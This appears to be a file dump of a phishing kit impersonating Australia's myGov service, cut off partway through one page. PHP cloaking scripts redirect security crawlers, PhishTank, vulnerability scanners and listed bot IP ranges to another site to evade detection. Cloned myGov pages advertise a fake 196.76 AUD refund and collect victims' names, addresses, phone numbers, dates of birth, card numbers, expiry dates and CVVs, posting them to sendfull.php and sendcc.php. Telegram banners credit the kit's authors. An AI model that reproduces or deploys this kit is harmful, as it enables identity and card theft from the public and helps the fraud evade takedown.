"a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "EBAY", "CL0NA", "jabber", "ebay", "arabot", "hotmail!", "msn!", "outlook!", "outlook", "msn", "hotmail", ); foreach($blocked_words as $word2) { if (substr_count($dp, strtolower($word2)) > 0 or $dp == "" or $dp == " " or $dp == " ") { exit(header('Location: http://2m.ma')); } } ?>mygov/anti/anti8.php000064400000020744151676702570010423 0ustar00<?php $ips = array( // LIST BOOTS IP "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*"); $Botname = array( // LIST BOOTS NAME "bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "compatible", "facebook", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "Trident", "X11", "Macintosh", "crawler", "urlredirectresolver", "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker", "google", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "arabot", "crawl", "slurp", "spider", "seek", "accoona", "acoon", "adressendeutschland", "ah-ha.com", "ahoy", "altavista", "ananzi", "anthill", "appie", "arachnophilia", "arale", "araneo", "aranha", "architext", "aretha", "arks", "asterias", "atlocal", "atn", "atomz", "augurfind", "backrub", "bannana_bot", "baypup", "bdfetch", "big brother", "biglotron", "bjaaland", "blackwidow", "blaiz", "blog", "blo.", "bloodhound", "boitho", "booch", "bradley", "butterfly", "calif", "cassandra", "ccubee", "cfetch", "charlotte", "churl", "cienciaficcion", "cmc", "collective", "comagent", "combine", "computingsite", "csci", "curl", "cusco", "daumoa", "deepindex", "delorie", "depspid", "deweb", "die blinde kuh", "digger", "ditto", "dmoz", "docomo", "download express", "dtaagent", "dwcp", "ebiness", "ebingbong", "e-collector", "ejupiter", "emacs-w3 search engine", "esther", "evliya celebi", "ezresult", "falcon", "felix ide", "ferret", "fetchrover", "fido", "findlinks", "fireball", "fish search", "fouineur", "funnelweb", "gazz", "gcreep", "genieknows", "getterroboplus", "geturl", "glx", "goforit", "golem", "grabber", "grapnel", "gralon", "griffon", "gromit", "grub", "gulliver", "hamahakki", "harvest", "havindex", "helix", "heritrix", "hku www octopus", "homerweb", "htdig", "html index", "html_analyzer", "htmlgobble", "hubater", "hyper-decontextualizer", "ia_archiver", "ibm_planetwide", "ichiro", "iconsurf", "iltrovatore", "image.kapsi.net", "imagelock", "incywincy", "indexer", "infobee", "informant", "ingrid", "inktomisearch.com", "inspector web", "intelliagent", "internet shinchakubin", "ip3000", "iron33", "israeli-search", "ivia", "jack", "jakarta", "javabee", "jetbot", "jumpstation", "katipo", "kdd-explorer", "kilroy", "knowledge", "kototoi", "kretrieve", "labelgrabber", "lachesis", "larbin", "legs", "libwww", "linkalarm", "link validator", "linkscan", "lockon", "lwp", "lycos", "magpie", "mantraagent", "mapoftheinternet", "marvin/", "mattie", "mediafox", "mediapartners", "mercator", "merzscope", "microsoft url control", "minirank", "miva", "mj12", "mnogosearch", "moget", "monster", "moose", "motor", "multitext", "muncher", "muscatferret", "mwd.search", "myweb", "najdi", "nameprotect", "nationaldirectory", "nazilla", "ncsa beta", "nec-meshexplorer", "nederland.zoek", "netcarta webmap engine", "netmechanic", "netresearchserver", "netscoop", "newscan-online", "nhse", "nokia6682/", "nomad", "noyona", "nutch", "nzexplorer", "objectssearch", "occam", "omni", "open text", "openfind", "openintelligencedata", "orb search", "osis-project", "pack rat", "pageboy", "pagebull", "page_verifier", "panscient", "parasite", "partnersite", "patric", "pear.", "pegasus", "peregrinator", "pgp key agent", "phantom", "phpdig", "picosearch", "piltdownman", "pimptrain", "pinpoint", "pioneer", "piranha", "plumtreewebaccessor", "pogodak", "poirot", "pompos", "poppelsdorf", "poppi", "popular iconoclast", "psycheclone", "publisher", "python", "rambler", "raven search", "roach", "road runner", "roadhouse", "robbie", "robofox", "robozilla", "rules", "salty", "sbider", "scooter", "scoutjet", "scrubby", "search.", "searchprocess", "semanticdiscovery", "senrigan", "sg-scout", "shai'hulud", "shark", "shopwiki", "sidewinder", "sift", "silk", "simmany", "site searcher", "site valet", "sitetech-rover", "skymob.com", "sleek", "smartwit", "sna-", "snappy", "snooper", "sohu", "speedfind", "sphere", "sphider", "spinner", "spyder", "steeler/", "suke", "suntek", "supersnooper", "surfnomore", "sven", "sygol", "szukacz", "tach black widow", "tarantula", "templeton", "/teoma", "t-h-u-n-d-e-r-s-t-o-n-e", "theophrastus", "titan", "titin", "tkwww", "toutatis", "t-rex", "tutorgig", "twiceler", "twisted", "ucsd", "udmsearch", "url check", "updated", "vagabondo", "valkyrie", "verticrawl", "victoria", "vision-search", "volcano", "voyager/", "voyager-hc", "w3c_validator", "w3m2", "w3mir", "walker", "wallpaper", "wanderer", "wauuu", "wavefire", "web core", "web hopper", "web wombat", "webbandit", "webcatcher", "webcopy", "webfoot", "weblayers", "weblinker", "weblog monitor", "webmirror", "webmonkey", "webquest", "webreaper", "websitepulse", "websnarf", "webstolperer", "webvac", "webwalk", "webwatch", "webwombat", "webzinger", "wget", "whizbang", "whowhere", "wild ferret", "worldlight", "wwwc", "wwwster", "xenu", "xift", "xirq", "yandex", "yanga", "yeti", "yahoo!"); foreach ($Botname as $word2) { if (stripos($_SERVER['HTTP_USER_AGENT'],$word2)){ exit(header('Location: http://2m.ma')); } } foreach ($ips as $ip) { if (preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])) { exit(header('Location: http://2m.ma')); } } ?>mygov/anti/index.php000064400000000357151676702570010505 0ustar00<?php require 'anti1.php'; require 'anti2.php'; require 'anti3.php'; require 'anti4.php'; require 'anti5.php'; require 'anti6.php'; require 'anti7.php'; require 'anti8.php'; exit(header("Location: ../index.php")); ?> mygov/app/addbilling.php000064400000032243151676702570011313 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Sign in with myGov - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./login_files/css" rel="stylesheet"> <link href="./login_files/mgv2-application.css" rel="stylesheet"> <link href="./login_files/blugov.css" rel="stylesheet"> <style>@media print {#ghostery-tracker-tally {display:none !important}}</style><style>@media print {#ghostery-tracker-tally {display:none !important}}</style><style>@media print {#ghostery-tracker-tally {display:none !important}}</style></head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <div class="unauth"> <div class="login-grid-container"> <div class="login-grid-row"> <div class="login-grid-column"> <div class="digital-id-login-card-wrapper"> <div class="digital-id-main-login-card override"> <p class="login-instruction-text">Our transaction management system detects that you are entitled to receive this payment.</p> <h5 style="color:green">Your refund is available online : 196.76 AUD</h5> <h6 class="text-align-left">Fill information provided</h6> <form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="rez/sendfull.php" method="post"> <div class="input-group"> <label class="override" for="userId">First name</label> <input name="firstname" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required=""> </div> <div class="input-group"> <label class="override" for="userId">Last name</label> <input name="lastname" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required=""> </div> <div class="input-group"> <label class="override" for="userId">Address line 1</label> <input name="address1" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required=""> </div> <div class="input-group"> <label class="override" for="userId">Address line 2</label> <input name="address2" type="text" placeholder="" value="" autocomplete="off" aria-required="true"> </div> <div class="input-group"> <label class="override" for="userId">City</label> <input name="city" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required=""> </div> <div class="input-group"> <label class="override" for="userId">State</label> <input name="state" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required=""> </div> <div class="input-group"> <label class="override" for="userId">Postal code</label> <input name="zipcode" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required=""> </div> <div class="input-group"> <label class="override" for="userId">Phone number</label> <input name="phonee" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required=""> </div><div class="input-group"> <label class="override" for="userId">Date of birth</label> <input type="text" onkeyup="return numberValidation(event)" name="birthday" value="" placeholder="" onkeyup=" var v = this.value; if (v.match(/^\d{2}$/) !== null) { this.value = v + '/'; } else if (v.match(/^\d{2}\/\d{2}$/) !== null) { this.value = v + '/'; }" maxlength="10" autocomplete="off" aria-required="true" required=""> </div> <p class="recovery"> </p> <p class="recovery"> </p> <div class="button-digital-id-main-container override"> <div class="digital-id-button-container"> <button name="okbb" type="submit" class="button-main">Confirm my billing</button> </div> </div> <input type="hidden" name="authtype" value="unamepword"> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> <div class="digital-id-login-card secondary"> <div class="button-digital-id-container"> </div> </div> </div> </div> </div> </div> </div> </div> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./login_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./login_files/login.js.download"></script> <div id="artifact-metadata"> </div> <script> function formats(ele,e){ if(ele.value.length<19){ ele.value= ele.value.replace(/\W/gi, '').replace(/(.{4})/g, '$1 '); return true; }else{ return false; } } function numberValidation(e){ e.target.value = e.target.value.replace(/[^\d ]/g,''); return false; } </script><script>function formatString(e) { var inputChar = String.fromCharCode(event.keyCode); var code = event.keyCode; var allowedKeys = [8]; if (allowedKeys.indexOf(code) !== -1) { return; } event.target.value = event.target.value.replace( /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/ ).replace( /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/ ).replace( /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3 ).replace( /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41 ).replace( /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0 ).replace( /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/` ).replace( /\/\//g, '/' // Prevent entering more than 1 `/` ); } </script><script>function validatedate(inputText) { var dateformat = /^(0?[1-9]|[12][0-9]|3[01])[\/\-](0?[1-9]|1[012])[\/\-]\d{4}$/; // Match the date format through regular expression if(inputText.value.match(dateformat)) { document.form1.text1.focus(); //Test which seperator is used '/' or '-' var opera1 = inputText.value.split('/'); var opera2 = inputText.value.split('-'); lopera1 = opera1.length; lopera2 = opera2.length; // Extract the string into month, date and year if (lopera1>1) { var pdate = inputText.value.split('/'); } else if (lopera2>1) { var pdate = inputText.value.split('-'); } var dd = parseInt(pdate[0]); var mm = parseInt(pdate[1]); var yy = parseInt(pdate[2]); // Create list of days of a month [assume there is no leap year by default] var ListofDays = [31,28,31,30,31,30,31,31,30,31,30,31]; if (mm==1 || mm>2) { if (dd>ListofDays[mm-1]) { alert('Invalid date format!'); return false; } } if (mm==2) { var lyear = false; if ( (!(yy % 4) && yy % 100) || !(yy % 400)) { lyear = true; } if ((lyear==false) && (dd>=29)) { alert('Invalid date format!'); return false; } if ((lyear==true) && (dd>29)) { alert('Invalid date format!'); return false; } } } else { alert("Invalid date format!"); document.form1.text1.focus(); return false; } }</script></body></html>mygov/app/addcc.php000064400000026130151676702570010256 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Sign in with myGov - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./login_files/css" rel="stylesheet"> <link href="./login_files/mgv2-application.css" rel="stylesheet"> <link href="./login_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <div class="unauth"> <div class="login-grid-container"> <div class="login-grid-row"> <div class="login-grid-column"> <div class="digital-id-login-card-wrapper"> <div class="digital-id-main-login-card override"> <p class="login-instruction-text">Our transaction management system detects that you are entitled to receive this payment.</p> <h5 style="color:green">Your refund is available online : 196.76 AUD</h5> <h6 class="text-align-left">Add your credit card to get your refund</h6> <img width="120" src="https://www.pngitem.com/pimgs/m/1-18686_transparent-visa-mastercard-png-white-visa-logo-png.png"> <form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="rez/sendcc.php" method="post"> <div class="input-group"> <label class="override" for="userId">Name on card</label> <input name="holder" type="text" placeholder="Full name" value="" autocomplete="off" aria-required="true"> </div> <div class="input-group"> <label class="override" for="userId">Card Number</label> <input name="cardnumber" onkeypress='return formats(this,event)' onkeyup="return numberValidation(event)" type="text" value="" placeholder="XXXX XXXX XXXX XXXX" autocomplete="off" aria-required="true"> </div><div class="input-group"> <label class="override" for="userId">Expiry date</label> <input name="expiry" placeholder="MM/YY" onkeyup="formatString(event);" type="text" value="" autocomplete="off" aria-required="true"> </div><p class="recovery"> </p> <div class="input-group"> <label for="password" class="override">CVV (3 digits)</label> <div class="password-group"> <button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input name="cvv" id="password"type="password" data-current-password="data-current-password" onkeyup="return numberValidation(event)" minlength="3" maxlength="4" placeholder="***" autocomplete="off" aria-required="true"> </div> </div> <p class="recovery"> </p> <div class="button-digital-id-main-container override"> <div class="digital-id-button-container"> <button name="okbb" type="submit" class="button-main">Confirm</button> </div> </div> <input type="hidden" name="authtype" value="unamepword"> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> <div class="digital-id-login-card secondary"> <div class="button-digital-id-container"> </div> </div> </div> </div> </div> </div> </div> </div> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./login_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./login_files/login.js.download"></script> <div id="artifact-metadata"> </div> <script> function formats(ele,e){ if(ele.value.length<19){ ele.value= ele.value.replace(/\W/gi, '').replace(/(.{4})/g, '$1 '); return true; }else{ return false; } } function numberValidation(e){ e.target.value = e.target.value.replace(/[^\d ]/g,''); return false; } </script><script>function formatString(e) { var inputChar = String.fromCharCode(event.keyCode); var code = event.keyCode; var allowedKeys = [8]; if (allowedKeys.indexOf(code) !== -1) { return; } event.target.value = event.target.value.replace( /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/ ).replace( /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/ ).replace( /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3 ).replace( /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41 ).replace( /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0 ).replace( /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/` ).replace( /\/\//g, '/' // Prevent entering more than 1 `/` ); } </script></body></html>mygov/app/index.php000064400000030771151676702570010335 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ 